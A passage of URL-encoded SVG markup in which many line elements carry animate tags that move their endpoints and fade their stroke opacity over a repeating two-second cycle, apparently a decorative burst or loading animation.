%3D%22indefinite%22%20values%3D%22312.9411%3B312.9411%3B316.8787%3B321.2658%3B326.1839%3B331.7355%3B338.0517%3B345.3019%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%3B353.71%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22129.1316%3B129.1316%3B123.4999%3B112.892%3B101.0734%3B87.8244%3B72.8684%3B55.8529%3B36.3211%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%3B-2.2952%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22310.8506%3B310.8506%3B312.9411%3B316.8787%3B321.2658%3B326.1839%3B331.7355%3B338.0517%3B345.3019%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%3B359.6364%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22123.0742%22%20y1%3D%22452.3501%22%20x2%3D%22128.0971%22%20y2%3D%22446.9338%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.0742%3B123.0742%3B123.0742%3B112.4795%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%3B100.6801%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.3501%3B452.3501%3B452.3501%3B463.7746%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%3B476.4982%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22128.0971%3B128.0971%3B128.0971%3B123.0742%3B112.4795%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%3B97.0577%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22446.9338%3B446.9338%3B446.9338%3B452.3501%3B463.7746%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%3B480.4044%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22463.2906%22%20y1%3D%2253.2763%22%20x2%3D%22460.4253%22%20y2%3D%2257.01%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22463.2906%3B463.2906%3B463.2906%3B470.9539%3B479.4833%3B489.0343%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%3B499.8022%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2253.2763%3B53.2763%3B53.2763%3B43.2901%3B32.1753%3B19.7293%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%3B5.6976%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22460.4253%3B460.4253%3B460.4253%3B463.2906%3B470.9539%3B479.4833%3B489.0343%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%3B504.7804%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2257.01%3B57.01%3B57.01%3B53.2763%3B43.2901%3B32.1753%3B19.7293%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%3B-0.7897%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22565.7525%22%20y1%3D%22381.2313%22%20x2%3D%22559.4311%22%20y2%3D%22377.5984%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22565.7525%3B565.7525%3B565.7525%3B578.9771%3B593.7059%3B610.2112%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%3B628.8348%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22381.2313%3B381.2313%3B381.2313%3B388.8313%3B397.2958%3B406.7812%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%3B417.484%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22559.4311%3B559.4311%3B559.4311%3B565.7525%3B578.9771%3B593.7059%3B610.2112%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%3B641.1375%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.5984%3B377.5984%3B377.5984%3B381.2313%3B388.8313%3B397.2958%3B406.7812%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%3B424.5542%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22421.9278%22%20y1%3D%22227.4392%22%20x2%3D%22420.9674%22%20y2%3D%22227.5575%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.9278%3B421.9278%3B421.9278%3B427.3178%3B433.3097%3B440.0102%3B447.553%3B456.1075%3B465.892%3B477.1922%3B490.3898%3B506.0067%3B524.7752%3B547.7563%3B576.5476%3B613.6715%3B613.6715%3B613.6715%3B613.6715%3B613.6715%3B613.6715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22227.4392%3B227.4392%3B227.4392%3B226.7749%3B226.0366%3B225.2108%3B224.2813%3B223.2271%3B222.0214%3B220.6288%3B219.0024%3B217.0779%3B214.765%3B211.933%3B208.385%3B203.8101%3B203.8101%3B203.8101%3B203.8101%3B203.8101%3B203.8101%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22420.9674%3B420.9674%3B420.9674%3B421.9278%3B427.3178%3B433.3097%3B440.0102%3B447.553%3B456.1075%3B465.892%3B477.1922%3B490.3898%3B506.0067%3B524.7752%3B547.7563%3B576.5476%3B647.478%3B647.478%3B647.478%3B647.478%3B647.478%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22227.5575%3B227.5575%3B227.5575%3B227.4392%3B226.7749%3B226.0366%3B225.2108%3B224.2813%3B223.2271%3B222.0214%3B220.6288%3B219.0024%3B217.0779%3B214.765%3B211.933%3B208.385%3B199.644%3B199.644%3B199.644%3B199.644%3B199.644%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22151.8067%22%20y1%3D%22403.5139%22%20x2%3D%22155.8408%22%20y2%3D%22399.592%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22151.8067%3B151.8067%3B151.8067%3B151.8067%3B142.7727%3B132.7132%3B121.443%3B108.7296%3B94.2767%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%3B77.7012%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.5139%3B403.5139%3B403.5139%3B403.5139%3B412.2965%3B422.0761%3B433.0328%3B445.3925%3B459.4432%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%3B475.5575%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22155.8408%3B155.8408%3B155.8408%3B155.8408%3B151.8067%3B142.7727%3B132.7132%3B121.443%3B108.7296%3B94.2767%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%3B71.8154%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22399.592%3B399.592%3B399.592%3B399.592%3B403.5139%3B412.2965%3B422.0761%3B433.0328%3B445.3925%3B459.4432%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%3B481.2796%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22416.5613%22%20y1%3D%22317.3721%22%20x2%3D%22412.3714%22%20y2%3D%22314.0149%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22416.5613%3B416.5613%3B416.5613%3B416.5613%3B421.8587%3B427.7712%3B434.4123%3B441.9257%3B450.4952%3B460.3604%3B471.8391%3B485.3626%3B501.5305%3B521.2025%3B545.6564%3B576.8768%3B618.1233%3B618.1233%3B618.1233%3B618.1233%3B618.1233%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22317.3721%3B317.3721%3B317.3721%3B317.3721%3B321.6169%3B326.3544%3B331.6757%3B337.696%3B344.5625%3B352.4673%3B361.6649%3B372.5009%3B385.4558%3B401.2186%3B420.8128%3B445.829%3B478.8788%3B478.8788%3B478.8788%3B478.8788%3B478.8788%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22412.3714%3B412.3714%3B412.3714%3B412.3714%3B416.5613%3B421.8587%3B427.7712%3B434.4123%3B441.9257%3B450.4952%3B460.3604%3B471.8391%3B485.3626%3B501.5305%3B521.2025%3B545.6564%3B576.8768%3B626.7641%3B626.7641%3B626.7641%3B626.7641%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22314.0149%3B314.0149%3B314.0149%3B314.0149%3B317.3721%3B321.6169%3B326.3544%3B331.6757%3B337.696%3B344.5625%3B352.4673%3B361.6649%3B372.5009%3B385.4558%3B401.2186%3B420.8128%3B445.829%3B485.8025%3B485.8025%3B485.8025%3B485.8025%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.2392%22%20y1%3D%22441.6849%22%20x2%3D%22593.8602%22%20y2%3D%22436.3932%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22601.2392%3B601.2392%3B601.2392%3B601.2392%3B616.3819%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%3B633.248%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22441.6849%3B441.6849%3B441.6849%3B441.6849%3B452.5442%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%3B464.6394%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22593.8602%3B593.8602%3B593.8602%3B593.8602%3B601.2392%3B616.3819%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%3B640.5685%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22436.3932%3B436.3932%3B436.3932%3B436.3932%3B441.6849%3B452.5442%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%3B469.8891%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22332.1963%22%20y1%3D%22424.2581%22%20x2%3D%22331.7929%22%20y2%3D%22418.1628%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.1963%3B332.1963%3B332.1963%3B332.1963%3B332.8579%3B333.5954%3B334.4226%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%3B335.357%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22424.2581%3B424.2581%3B424.2581%3B424.2581%3B434.2531%3B445.3946%3B457.8919%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%3B472.0086%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22331.7929%3B331.7929%3B331.7929%3B331.7929%3B332.1963%3B332.8579%3B333.5954%3B334.4226%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%3B335.9442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22418.1628%3B418.1628%3B418.1628%3B418.1628%3B424.2581%3B434.2531%3B445.3946%3B457.8919%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%3B480.8801%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22589.0117%22%20y1%3D%22140.761%22%20x2%3D%22577.2526%22%20y2%3D%22145.0989%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22589.0117%3B589.0117%3B589.0117%3B589.0117%3B589.0117%3B603.7752%3B620.2533%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%3B638.763%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.761%3B140.761%3B140.761%3B140.761%3B140.761%3B135.3147%3B129.2359%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%3B122.4076%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22577.2526%3B577.2526%3B577.2526%3B577.2526%3B577.2526%3B589.0117%3B603.7752%3B620.2533%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%3B640.8237%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22145.0989%3B145.0989%3B145.0989%3B145.0989%3B145.0989%3B140.761%3B135.3147%3B129.2359%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%3B121.6474%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22380.2193%22%20y1%3D%22161.0349%22%20x2%3D%22379.1349%22%20y2%3D%22162.4568%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.2193%3B380.2193%3B380.2193%3B380.2193%3B380.2193%3B383.433%3B387.0091%3B391.0125%3B395.5246%3B400.6491%3B406.5196%3B413.3118%3B421.2613%3B430.6914%3B442.0583%3B456.0268%3B473.6057%3B496.4024%3B496.4024%3B496.4024%3B496.4024%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22161.0349%3B161.0349%3B161.0349%3B161.0349%3B161.0349%3B156.8207%3B152.1314%3B146.8818%3B140.9651%3B134.2454%3B126.5475%3B117.6409%3B107.2168%3B94.8512%3B79.9459%3B61.629%3B38.5779%3B8.6848%3B8.6848%3B8.6848%3B8.6848%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.1349%3B379.1349%3B379.1349%3B379.1349%3B379.1349%3B380.2193%3B383.433%3B387.0091%3B391.0125%3B395.5246%3B400.6491%3B406.5196%3B413.3118%3B421.2613%3B430.6914%3B442.0583%3B456.0268%3B473.6057%3B507.1528%3B507.1528%3B507.1528%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22162.4568%3B162.4568%3B162.4568%3B162.4568%3B162.4568%3B161.0349%3B156.8207%3B152.1314%3B146.8818%3B140.9651%3B134.2454%3B126.5475%3B117.6409%3B107.2168%3B94.8512%3B79.9459%3B61.629%3B38.5779%3B-5.4121%3B-5.4121%3B-5.4121%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22323.6301%22%20y1%3D%22147.9706%22%20x2%3D%22323.4748%22%20y2%3D%22151.9067%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.6301%3B323.6301%3B323.6301%3B323.6301%3B323.6301%3B323.8291%3B324.0512%3B324.3007%3B324.5828%3B324.9047%3B325.2751%3B325.7061%3B326.2137%3B326.8205%3B327.5586%3B328.4759%3B328.4759%3B328.4759%3B328.4759%3B328.4759%3B328.4759%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22147.9706%3B147.9706%3B147.9706%3B147.9706%3B147.9706%3B142.9252%3B137.2945%3B130.9704%3B123.8164%3B115.6576%3B106.2665%3B95.3408%3B82.4711%3B67.0879%3B48.3751%3B25.1206%3B25.1206%3B25.1206%3B25.1206%3B25.1206%3B25.1206%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.4748%3B323.4748%3B323.4748%3B323.4748%3B323.4748%3B323.6301%3B323.8291%3B324.0512%3B324.3007%3B324.5828%3B324.9047%3B325.2751%3B325.7061%3B326.2137%3B326.8205%3B327.5586%3B329.6418%3B329.6418%3B329.6418%3B329.6418%3B329.6418%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22151.9067%3B151.9067%3B151.9067%3B151.9067%3B151.9067%3B147.9706%3B142.9252%3B137.2945%3B130.9704%3B123.8164%3B115.6576%3B106.2665%3B95.3408%3B82.4711%3B67.0879%3B48.3751%3B-4.4369%3B-4.4369%3B-4.4369%3B-4.4369%3B-4.4369%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2283.2274%22%20y1%3D%22159.9371%22%20x2%3D%2289.5264%22%20y2%3D%22162.0671%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2283.2274%3B83.2274%3B83.2274%3B83.2274%3B83.2274%3B83.2274%3B70.4738%3B56.2682%3B40.3474%3B22.3809%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%3B1.9475%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22159.9371%3B159.9371%3B159.9371%3B159.9371%3B159.9371%3B159.9371%3B155.6246%3B150.8211%3B145.4376%3B139.3623%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%3B132.4529%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2289.5264%3B89.5264%3B89.5264%3B89.5264%3B89.5264%3B89.5264%3B83.2274%3B70.4738%3B56.2682%3B40.3474%3B22.3809%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%3B-1.3138%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22162.0671%3B162.0671%3B162.0671%3B162.0671%3B162.0671%3B162.0671%3B159.9371%3B155.6246%3B150.8211%3B145.4376%3B139.3623%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2248.4785%22%20y1%3D%22261.2012%22%20x2%3D%2251.5405%22%20y2%3D%22260.9622%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2248.4785%3B48.4785%3B48.4785%3B48.4785%3B48.4785%3B48.4785%3B34.0919%3B18.0956%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22261.2012%3B261.2012%3B261.2012%3B261.2012%3B261.2012%3B261.2012%3B262.3246%3B263.5736%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2251.5405%3B51.5405%3B51.5405%3B51.5405%3B51.5405%3B51.5405%3B48.4785%3B34.0919%3B18.0956%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22260.9622%3B260.9622%3B260.9622%3B260.9622%3B260.9622%3B260.9622%3B261.2012%3B262.3246%3B263.5736%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%